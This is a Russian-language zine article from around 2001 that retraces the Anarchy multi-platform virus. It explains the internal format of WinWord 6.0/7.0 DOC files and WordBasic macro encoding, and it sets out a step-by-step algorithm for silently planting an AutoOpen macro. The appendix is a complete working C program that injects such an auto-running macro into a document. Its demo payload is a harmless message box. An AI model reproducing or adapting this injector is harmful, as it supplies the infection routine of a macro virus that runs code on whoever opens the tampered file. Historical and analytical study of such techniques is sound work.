ZF

                        ПО СЛЕДАМ ВИРУСА ANARCHY

                by Constantin E. Climentieff aka DrMad

     ВВЕДЕНИЕ
     1. УСТРОЙСТВО DOC-ФАЙЛОВ WINWORD 6.0/7.0
     2. КОДИРОВКА МАКРОСОВ
     3. ФОРМИРОВАНИЕ МАКРОЗАГОЛОВКА
     4. АЛГОРИТМ ВНЕДРЕНИЯ МАКРОСА
     ЛИТЕРАТУРА
     ПРИЛОЖЕНИЕ. Текст демонстрационной программы

                                  ...информации, приведенной в статье,
                                  заведомо мало для написания вирусов;
                                  это сделано специально...

     ВВЕДЕНИЕ

     До сих пор многоплатформенный вирус Anarchy.6093 от Jan  Fakovski
остается в какой-то мере непревзайденным.  Насколько известно, никакой
другой вирус не способен самостоятельно разбирать структуру  DOC-файла
и внедрять  в  него исполнимые макросы.

     Примечание. Существуют  еще пара однотипных вирусов Win95.Navrhar
и Win95.WoGob (WG),  которые умеют делать то же самое.  Пожалуй, это и
все.

     Для тех,  кто не в курсе, вот фрагмент описания вируса Anarchy от
И.Данилова:

:     Опасные резидентные   полиморфные   стелс-вирусы.    Вирусы
:     заражают  COM,  EXE  файлы,  а  также DOC-файлы для WinWord
:     версий 6.0-7.0. При открытии DOCфайлов... вирус анализирует
:     внутренний  формат  OLE2  документа,  создает новую таблицу
:     макросов   и   дописывает   в   конец   данного   документа
:     зашифрованный  макрос  AUTOOPEN,  содержащий  вирусный  код
:     дроппера...  При  заражении  DOC-файла   вирус   использует
:     некоторые  "дыры"  в  формате  OLE2,  в результате чего при
:     активном вирусном макросе AUTOOPEN просмотреть его  наличие
:     в    системе   средствами   WinWord   [TOOLS/   MACRO]   не
:     предоставляется возможным.  Вирус содержит некоторые ошибки
:     в  процедуре  заражения OLE2 DOC-файлов.  В результате чего
:     некоторые файлы небольшие DOC-файлы  могут  быть  разрушены
:     при  заражении,  а  также будут разрушены все DOC-файлы для
:     MSOffice'97.  Данный  вирус   является   первым   известным
:     многоплатформенным  вирусом,  который  заражает файлы таких
:     различных операционных сред, как DOS, Windows и MS Word for
:     Windows...

     Этот вирус  есть  у  меня  в  коллекции,  но я не "вскрывал" его.
Гораздо интересней  пойти  по  следам  Jan   Fakovski   и   попытаться
самостоятельно разработать алгоритм заражения DOC-файлов.
     Несколько лет назад  мне  приходилось  разбираться  с  внутренним
форматом DOC-файлов для WinWord 6.0/7.0. Мне кажется, что я понял, как
могли бы быть  устроены  подобные  вирусы.  Теперь,  когда  доминируют
версии 97/2000, можно уже и раскрыть "стрррррашную тайну".

     1. УСТРОЙСТВО DOC-ФАЙЛОВ WINWORD 6.0/7.0

     Файлы с  расширением .DOC и "документы MsWord" - это не одно и то
же. Файлы представляют собой сложные OLE-2 объекты,  организованные по
правилам Структурированных  Хранилищ  (Structured Storage).  Документы
Word, электронные таблицы Excel и прочие объекты лишь хранятся  внутри
сложно организованных Хранилищ.
     Формат Структурированных Хранилищ официально  не  документирован,
но  доступны  его  хакерские  реконструкции,  весьма похожие на правду
(хотя и содержащие множество неясных моментов,  неточностей и  ошибок)
/2/.  По крайней мере,  понятно, что Структурированное Хранилище очень
напоминает файловую систему типа  FAT,  только  организованную  не  на
диске,  а  внутри отдельно взятого файла:  там имеются блоки-кластеры,
таблицы описания блоков,  катологи-директории (корневая и вложенные) и
пр.
     В формате Структурированного Хранилища  организованы  файлы  всех
современных  версий  MS  Office:  и 6.0/7.0,  и 97/2000.  Но,  похоже,
Winword 6.0/7.0 использует упрощенный формат Хранилища,  что позволяет
разобраться в нем "малой кровью" /1/.  По крайней мере,  мне удавалось
очень  легко  находить  внутри  DOC-файла  собственно   Word-документ,
разбирать   его   структуру,   обнаруживать   внедренные  макровирусы,
расшифровывать их и удалять /3,4/.
     Главные отличительные  особенности  DOC-файлов  и  документов   в
формате Winword 6.0/7.0:
     - макросы  пишутся  на  языке  WordBasic (для версий 97/2000 - на
VBA, зато они понимают и WordBasic);
     - макросы являются составной частью документа (для версий 97/2000
они - отдельные объекты,  находящиеся где-то внутри Хранилища,  но вне
документа).

     2. КОДИРОВКА МАКРОСОВ

     Очень легко   определить,   как   кодируются   внутри   макросоов
синтаксические элементы  языка  WodrBasic.  Напишите и внедрите внутрь
документа WinWord 6.0/7.0 любой достаточно длинный  макрос  (например,
состоящий из  одних  комментариев).  Затем при помощи любого редактора
кода (например, при помощи Hiew), найдите внутри файла строки Sub MAIN
и End  Sub,  и  все пространство между ними забейте 16-ричными кодами:
01, 02, 03, 04 и т.п.

     Примечание. Коды,  начинающиеся с  80h,  являются  двухбайтовыми.
Поэтому Вам потребуется отдельно сформировать группу кодов вида: 00 80
01 80 02  80...  Есть  и  еще  варианты  кодировки,  но,  если  Вы  не
собираетесь  писать  свой  собственный "дизассемблер" для WordBasic-а,
Вам должно хватить сведений об однобайтовых кодах и двухбайтовых  типа
80XXh.

     Загрузите этот  документ  в Word (кстати,  в любой,  можно даже в
97/2000) и Вы увидите перечень  соответствующих  кодам  синтаксических
элементов языка. Вот краткие выжимки из этого перечня.

 А. Некоторые ключевые слова языка         Б. Некоторые лексемы
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~         ~~~~~~~~~~~~~~~~~~~~
 01 ,      1b Sub      31 Select 44 Long   64 Перевод строки
 02 Not    1c Function 32 Is     45 Single 65 \nstring
 03 And    1d If       33 Case   46 String 67 Команда WordBasic
 04 Or     1e Then     34 As     47 Cdecl  68 Число двойной точности
 05 (      1f ElseIf   35 Redim  48 Alias  69 Строка
 06 )      20 Else     36 Print  49 Any    6a "Строка в кавычках"
 07 +      21 While    37 Input  4c Close  6b 'Строка комментрия
 08 -      22 Wend     38 Line   4d Begin  6c Целое число
 09 /      23 For      39 Write  4e Lib    6d Символ
 0a *      24 To       3a Name   4f Read   6e N пробелов
 0b Mod    25 Step     3b Output 54 EndIf  6f N табуляций
 0c =      26 Next     3c Append           70 REM Строка комментария
 0d <>     28 ;        3d Open             73 Dotted token  (+ 2 bytes)
 0e <      29 Call     3f Dialog           76 .Ключевое подполе команды
 0f >      2a Goto     40 Super
 10 <=     2c On       41 Declare          В. Некоторые команды
 11 >=     2d Error    42 Double           ~~~~~~~~~~~~~~~~~~~~
 18 Resume 2e Let      43 Integer          802b MsgBox
 19 :      2f Dim      44 Long             80b7 MacroCopy
 1a End    30 Shared

     Попробуем закодировать следующий макрос:

      Sub MAIN
      MsgBox "Hello!", "", 16
      End Sub

     Вот, что у нас должно получиться:

      0001 <Номер макроса>
      64   <Новая строка>
      1B   Sub
      69   <Строка без кавычек>
      04   <Длина строки без кавычек> = 4
      4D   M
      41   A
      49   I
      4E   N
      64   <Новая строка>
      67   <Команда>
      802B MsgBox
      6A   <Строка в кавычках>
      06   <Длина строки в кавычках>  = 6
      48   H
      65   e
      6C   l
      6C   l
      6F   o
      21   !
      12   ,
      6A   <Строка в кавычках>
      00   <Длина строки в кавычках>  = 0
      12   ,
      6C   <Целая константа>
      0010 <Значение целой константы> = 16
      64   <Новая строка>
      1A   End
      1B   Sub

     3. ФОРМИРОВАНИЕ МАКРОЗАГОЛОВКА

     Формат макрозаголовка  описан  в  /1,3/,  поэтому  не  будем  его
воспроизводить. Заполненный макрозаголовок выглядит следующим образом:

     SignFF  db      0FFh    ; Сигнатура заголовка
     ; Заголовок макросов
     MHdr    db      1       ; Признак заголовка макросов
     NMcr    dw      1       ; Количество макросов
     ; Описатель 1-го (и единственного) макроса
     Vers    db      055h    ; Версия языка
     Key     db      0       ; Ключ XOR
     IntN    dw      0
     ExtN    dw      0
     XN      dw      0FFFFh
             dd      ?
     MLen    dd      ?       ; Длина макроса    (вписать!!!)
     MStat   dd      5       ; Статус макроса
     MPtr    dd      ?       ; Позиция макроса  (вписать!!!)
     ; Внешнее имя
     EHdr    db      10h     ; Признак внешнего имени
     ESiz    dw      0Dh     ; Размер описания имени ???
     ELen    db      offset NRef-offset EName  ; Длина
     EName   db      'AutoOpen'
     NREf    dw      1       ; Кол-во ссылок на него
     ; Внутреннее имя
     IHdr    db      11h     ; Признак внутреннего имени
     INum    dw      1       ; Кол-во имен
     ICnt    dw      0       ; Номер имени
     ILen    db      offset R-offset IName     ; Длина
     IName   db      'AUTOOPEN'
     R       db      ?
     ;
     EndHdr  db      40h     ; Конец заголовка

     4. АЛГОРИТМ ВНЕДРЕНИЯ МАКРОСА

     Шаг 0.  Выполнть необходимые проверки и убедиться, что это файл в
формате WinWord 6.0/7.0, а не 97/2000.

     Шаг 1.  Внутри  DOC-файла  содержится  собственно  Word-документ,
начинающийся  с  характерной  сигнатуры.  Эту  сигнатуру легко найти в
файле  по  смещению,  кратному  512  байт  (т.к.  крупные  объекты   в
хранилищах хранятся в Big Blocks /2/).  Могут встретиься в файле такие
же сигнатуры,  лежащие по смещению,  не кратному 200h  -  это  "левые"
заголовки.

     Шаг 2. Word-документ начинается с заголовка, в котором:
     - по смещению 0Ah располагается слово флагов,  младший бит его  -
признак template;
     - по  смещению  118h  располагается  адрес  (смещение  от  начала
документа) макрозаголовка.
     - правильный макрозаголовок начинается с сигнатуры 1FFh.
     Если файл   уже   template,   или  макрозаголовок  заполнен,  то,
вероятно, в документе уже есть макросы, и трогать его не стоит.

     Шаг 3.  Если  адрес  макрозаголовка  указывает  "в  пустоту",  то
макрозаголовок не  заполнен  или  отсутствует.  Макрозаголовок  должен
начинаться в файле с адреса, кратного 512=200h. Выровняем файл до этой
длины и запишем сразу него правильно заполненный макрозаголовок.

     Шаг 4.  Собственно  код макроса должен располагаться где-то после
макрозаголовка, и  начинаться  со  смещения,  кратного   16.   Поэтому
выровняем новую  длину файла на 16 и запишем в конец файла сразу после
макрозаголовка код макроса.

     Шаг 5.  В заголовке Word-документа по адресу  0Ah  выставим  флаг
template.  По  адресу 118h впишем адрес (смещение от начала документа)
нового  макрозаголовка.  Внутри  нового  макрозаголовка  впишем  адрес
(смещение от начала документа) кода макроса.

     Все. "И десять пар вязальных спиц." J

     ЗАКЛЮЧЕНИЕ

     Я не  решился  бы  публиковать  этот   алгоритм,   если   бы   не
существовало одного нюанса.
     Дело в том,  что если "зараженный" таким образом файл загрузить в
Winword 6.0/7.0, то макрос нормально воспримется и выполнится. Но если
его загрузить,  например,  в WinWord 97, то ничего не произойдет (хотя
он должен был бы подхватиться,  конвертироваться в VBA и выполниться).
По-видимому,   дыра   "заштопана",   и   WinWord   97  разбирает  свое
Структурированное Хранилище по всем правилам (которые сами мелкомягкие
и придумали, но для WinWord 6.0/7.0 не выполняли).
     Таким образом,  для применения внутри вирусов этот алгоритм нынче
не слишком актуален. Хотя и крайне интересен сам по себе.
     Поэтому - читайте и юзайте.

     ЛИТЕРАТУРА

     1. Schvartz M. ELSER. Word convertress, 1997.
     2. Schvartz M.  LAOLA  file  system,  1997.  (Перевод:  Шварц  М.
Файловая система Laola // Земский фершал, - #4.- 2001 г.)
     3. DrMad. Немножко криптологии // Земский фершал.- #2.- 1998 г.
     4. DrMad.  Написание  антивируса  для  WM.Cap // Земский фершал.-
#3.- 1999 г.

     ПРИЛОЖЕНИЕ. Текст демонстрационной программы.

/********************************************************************/
/* Демонстрация внедрения исполнимых макросов в файлы WinWord 6/7   */
/* (c) Constantin E. Climentieff aka DrMad, Samara 1998-2001        */
/********************************************************************/
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <io.h>

#define WORD  unsigned int
#define BYTE  unsigned char
#define DWORD unsigned long

struct DOCHdr     // Заголовок документа
{
  DWORD Sign;     // Сигнатура документа
  DWORD Vers;     // Версия MsWord
  BYTE  R1[8];    // ?
  WORD  Flags;    // Тип Docfile
  BYTE  R2[0x106];// ?
  DWORD AMacr;    // Адрес заголовка макросов
};

struct MACHdr     // Заголовок макросов
{
  WORD  Sign;     // Сигнатура заголовка макросов
  WORD  NMacr;    // Количество макросов
};

#define LEN 97

BYTE CODE[LEN]={
 0xFF, 0x01, 0x01, 0x00, 0x55, 0x00, 0x00, 0x00,
 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00,
 0x20, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x10, 0x0D, 0x00, 0x08,
 0x41, 0x75, 0x74, 0x6F, 0x4F, 0x70, 0x65, 0x6E,
 0x01, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x08,
 0x41, 0x55, 0x54, 0x4F, 0x4F, 0x50, 0x45, 0x4E,
 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x01, 0x00, 0x64, 0x1B, 0x69, 0x04, 0x4D, 0x41,
 0x49, 0x4E, 0x64, 0x67, 0x2B, 0x80, 0x6A, 0x06,
 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x21, 0x12, 0x6A,
 0x00, 0x12, 0x6C, 0x10, 0x00, 0x64, 0x1A, 0x1B,
 0x00
};

struct DOCHdr dh;       // Заголовок docfile
struct MACHdr mh;       // Заголовок макросов (начало)
DWORD         buf[128]; // Big Block
DWORD         p;        // Позиция документа в файле
DWORD         l;        // Длина файла
int           i;
int           f;
int           q;
char          s[32];

main( int an, char **as )
{

 if (an<2) {
   puts("Демострация внедрения макросов в Docfile");
   puts("(c) Constantin E. Climentieff aka DrMad, Samara 2001");
   puts("----------------------------------------------------");
   printf("File >"); scanf("%s",s);
 }
 else
  strcpy(s, as[1]);

 f = open(s, O_RDWR|O_BINARY);

 l = lseek( f, 0, SEEK_END);   // Длина файла
 lseek( f, 0, SEEK_SET);

 q=read(f, buf, 512);

 if (buf[0]!=0xE011CFD0)
  { puts("Это не docfile!"); goto ex; }

 p = 0; i=0;
 while (q==512)
  {

   if ((buf[0]==0x65A5DC)||    // Ищем сигнатуру заголовка
       (buf[0]==0x68A5DC)||
       (buf[0]==0x68A697)||
       (buf[0]==0x68A699)||
       (buf[0]==0xC1A5EC))  p = (DWORD)i*512;

   q = read( f, buf, 512); i++;
  }

 if (!p)
  { puts("Это не docfile 6.0!"); goto ex; }

 lseek( f, p, SEEK_SET );
 read ( f, &dh, sizeof(dh) );       // Читаем заголовок docfile
 lseek( f, dh.AMacr+p, SEEK_SET );
 read ( f, &mh, sizeof(mh) );       // Читаем заголовок макросов

 if (((mh.Sign==0x1FF)&&(mh.NMacr>0))||(dh.Flags==1))
   { puts("В файле уже есть макросы!"); goto ex; }

 l = (l%512)?((l/512)+1)*512:l;       // Выравниваем на границу 512-байтника

 * (DWORD *)(&CODE[0x18]) = l-p+0x40; // Смещение кода макроса
 lseek( f, l, SEEK_SET);
 write( f, CODE, LEN  );              // Пишем сразу макрозаголовок + код

 dh.AMacr = l - p;                    // Смещение заголовка макроса
 dh.Flags = 1;
 lseek( f, p, SEEK_SET);
 write( f, &dh, sizeof(dh));

 puts("Well done!");

ex:

 close(f);

}

--------------------------------------------------------------
(с) Constantin E. Сlimentieff, 2000-2001
mailto: drmad@chat.ru * http://www.chat.ru/~drmad


(C) NF, 1998-2004